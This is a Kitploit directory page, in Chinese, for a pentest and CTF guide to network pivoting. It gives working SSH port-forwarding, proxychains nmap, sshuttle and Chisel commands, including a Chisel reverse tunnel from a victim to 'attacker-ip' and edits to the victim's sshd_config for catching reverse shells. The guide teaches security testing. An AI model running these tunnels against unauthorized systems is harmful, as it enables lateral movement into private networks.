Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
pentest-pivoting — 一份面向渗透测试/CTF 挑战的网络跳板(Pivoting)简明指南。 | Kitploit
工具/GitHubGitHub/t3l3machus/pentest-pivoting
Web代理与拦截横向移动网络安全CTF渗透测试学习与教育红队精选资源
GitHubt3l3machus/pentest-pivoting

pentest-pivoting

一份面向渗透测试/CTF 挑战的网络跳板(Pivoting)简明指南。

查看仓库
2284412年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

内网穿透指南

目录

  1. 重要注意事项
  2. SSH 动态端口转发
  3. SSH 远程端口转发
  4. SSH 本地端口转发
  5. 双重 Pivoting
  6. sshuttle
  7. Chisel
  8. 使用 Burpsuite 作为代理
  9. 实用资源

重要注意事项

  • 不要使用 ICMP 回显请求(ping)来测试 SOCKS 代理。
    SOCKS 是一种 Internet 协议,通过代理服务器在客户端和服务器之间交换网络数据包。实际上,SOCKS 服务器代理到任意 IP 地址的 TCP 连接,并提供了一种转发 UDP 数据包的方式。你应该使用基于 TCP 的协议来测试它(例如尝试 SSH,或向穿越 pivoting 隧道的主机发送 HTTP GET 请求)。

  • NMAP 必须使用 TCP 连接扫描(-sT)且不使用 ping(-Pn)
    这也适用于版本扫描(-sV)和脚本扫描(-sC)。它们应与 -sT 和 -Pn 组合使用。
    示例:

    root@kitploit:~
    proxychains nmap -sT -Pn -p- x.x.x.x
    proxychains nmap -sT -Pn -sV -sC -p 21,80,443,445 x.x.x.x
    

    提示:你可以将 naabu 上传到受害机器,然后像大佬一样进行扫描。

  • 将脚本和二进制文件与 proxychains 一起使用
    使用 proxychains 的一个技巧是:如果你正在运行解释型程序(如 Python 脚本),即使在脚本开头有 shebang,也最好在该脚本之前显式引用 Python 二进制文件,例如:

    root@kitploit:~
    proxychains4 [-q -f proxychains.conf] python python_script.py
    

    如果没有显式引用脚本解释器,有时脚本产生的流量将无法按你的预期通过代理路由,网络连接也会失败。提示来源

  • 取消 /etc/proxychains.conf 中“quite mode”一行的注释,以避免有时令人烦躁的 stdout。
    这仅仅是一个建议。

SSH 动态端口转发

允许你在本地(ssh 客户端)机器上创建一个套接字,该套接字充当 SOCKS 代理服务器。当客户端连接到此端口时,连接会被转发到远程(ssh 服务器)机器,然后再转发到目标机器上的一个动态端口。

如何设置:

  1. 编辑 /etc/proxychains.conf 并进行以下操作:

    • 取消 Dynamic chain 的注释。
    • 注释掉 Strict chain 和 Random chain。
    • 在文档末尾(代理列表)追加一行 socks4 127.0.0.1 9050,保存并关闭文件。*当然,你也可以使用其他端口。
  2. 设置 SSH 动态端口转发:

root@kitploit:~
ssh -D 127.0.0.1:9050 user@victim-IP

使用示例:
其中 x.x.x.x 是隶属于隧道网络中的某台主机的 IP 地址:

root@kitploit:~
proxychains nmap -sT -Pn -p- x.x.x.x
proxychains smbmap -H x.x.x.x
proxychains ssh [email protected]

要通过隧道使用 firefox:

root@kitploit:~
proxychains firefox

SSH 远程端口转发

如果你正在寻找如何通过 pivoting 隧道获得 反向 shell,这就是你所需要的。它允许你将远程(受害)机器上的一个端口转发到本地(攻击)机器上的一个端口。

如何设置:

  1. SSH 登录受害机器。

  2. 编辑 /etc/ssh/sshd_config 并进行以下操作:

    • 取消 GatewayPorts no 的注释并将其改为 Yes。保存并关闭文件。

    *这一点非常重要,而且网上的许多指南都没有提到。如果不这样做,你将只能将隧道设置在 127.0.0.1 上,而不是 0.0.0.0,这最终会导致来自 localhost 以外任何主机的流量都无法被转发。

    • 重启 SSH 服务以使更改生效。sudo service ssh restart
    • 退出并返回你的机器。
  3. 设置 SSH 远程端口转发:
    基本上,按照上述设置好后,命令就是如此简单:

root@kitploit:~
ssh -R 2222:*:2222 user@victim-IP

为了测试它是否有效,你可以这样做:
在攻击者机器上设置一个监听器(例如 netcat),端口为你配置远程转发时使用的端口(本例中为 2222),然后从受害机器向自身(localhost)发起请求。在本例中,即 nc 127.0.0.1 2222。如果攻击者机器收到连接,则说明 a) 它有效,b) 从 pivoting 主机到 victimip:2222 的每个连接都将被转发到攻击者机器。

你可以像这样设置多个端口:

root@kitploit:~
ssh -R 2222:*:2222 -R 3333:*:3333 user@victim-IP

注意:来自外部主机(pivoting 网络)的请求必须发往受害机器的 IP,才能被转发回攻击者机器。

*你也可以通过从受害机器 SSH 连接到攻击者机器来实现远程端口转发。

SSH 本地端口转发

本地端口转发允许你将本地(攻击)机器上的一个端口转发到远程(受害)机器上的一个端口。在扫描受害机器本地端口时尤其有用。

用法:

root@kitploit:~
ssh user@victim-IP -L 8888:127.0.0.1:8086

现在你可以使用例如 nmap 来扫描受害机器上的 8086 端口,如下所示:

root@kitploit:~
nmap -Pn -n -p8888 -sV 127.0.0.1

双重 Pivoting

一个关于如何使用 SSH 动态端口转发和 Proxychains 实现双重 pivoting 的示例。

概念:
假设我们有以下 4 台机器。

IP角色
10.10.10.10攻击者
10.10.10.11跳板机1
172.16.1.12跳板机2
172.16.2.13跳板机3

攻击者可以到达跳板机1。
跳板机1可以到达跳板机2。
跳板机2可以到达跳板机3。

  1. 为了到达跳板机2,请按照前面提到的 SSH 动态端口转发 说明对跳板机1进行操作。
  2. 为了到达跳板机3,请编辑 /etc/proxychains.conf 并在文档末尾添加另一个代理条目。你的 proxychains.conf 末尾现在看起来像这样:
root@kitploit:~
...
socks4 127.0.0.1 9050
socks4 127.0.0.1 9999
  1. SSH 登录跳板机1,并针对跳板机2设置另一个动态端口转发(你选择的本地端口必须与 proxychains.conf 中第二个代理条目设置的端口相同):
root@kitploit:~
ssh -D 127.0.0.1:9999 user@Jumphost2

现在你应该能够到达跳板机3了。

sshuttle

sshuttle 允许你通过 ssh 从你的机器到任何远程服务器创建 VPN 连接,只要该服务器具有 python 2.3 或更高版本。要使用它,你必须在本地机器上拥有 root 访问权限,但服务器上可以是一个普通账户。在单台客户端机器上同时运行多个 sshuttle 是有效的,每次连接到不同的服务器,因此你可以同时处于多个 VPN 中。查看 sshuttle github 仓库。

用法:
假设我们要 pivoting 进入 172.16.2.0/16:

root@kitploit:~
sshuttle -vvr root@victim 172.16.2.0/16

如果你想使用 ssh 密钥:

root@kitploit:~
sshuttle -vvr root@victim --ssh-cmd 'ssh -i ~/.ssh/id_rsa' 172.16.2.0/16

Chisel

Chisel 是一个快速的 TCP/UDP 隧道,通过 HTTP 传输,并经 SSH 加密。它包含客户端和服务器的单一可执行文件。使用 Go(golang)编写。它非常棒且实用。

安装:
你可以轻松地在 kali 上安装 chisel:

root@kitploit:~
apt install chisel

要使用它,你还需要将 chisel 二进制文件上传到受害机器。你可以在此处下载预编译版本。

本地端口转发示例
在你的攻击者机器上:

root@kitploit:~
chisel server -p 8000 --reverse

在受害机器上:

root@kitploit:~
./chisel_1.7.7_linux_amd64 client attacker-ip:8000 R:1234:127.0.0.1:8443

这将把来自攻击者机器 1234 端口的流量转发到受害机器的 8443 端口。

使用 Burpsuite 作为代理

Burpsuite 支持设置代理的功能,这是一个极其有用且强大的特性。

如何设置:
启动 Burpsuite 并执行以下操作:

  • 转到 Proxy/Options,在 Proxy Listeners 部分点击 add。
  • 设置绑定端口和接口。
  • 在第二个选项卡中,设置你想要将流量重定向到的主机和端口。

结合设置 SSH 动态端口转发或 sshuttle,你现在可以使用 Burpsuite 将流量发送到你的 localhost 绑定端口,从而将流量转发到目标主机。一个有用的示例是通过隧道使用 gobuster 目录爆破(假设你将 2222 端口设置为重定向端口):

root@kitploit:~
gobuster dir -u http://127.0.0.1:2222 -t 40 -w /some/dirlist.txt

实用资源

  • https://artkond.com/2017/03/23/pivoting-guide/
  • https://catharsis.net.au/blog/network-pivoting-and-tunneling-guide/
  • https://medium.com/cyberxerx/how-to-setup-proxychains-in-kali-linux-by-terminal-618e2039b663
下载工具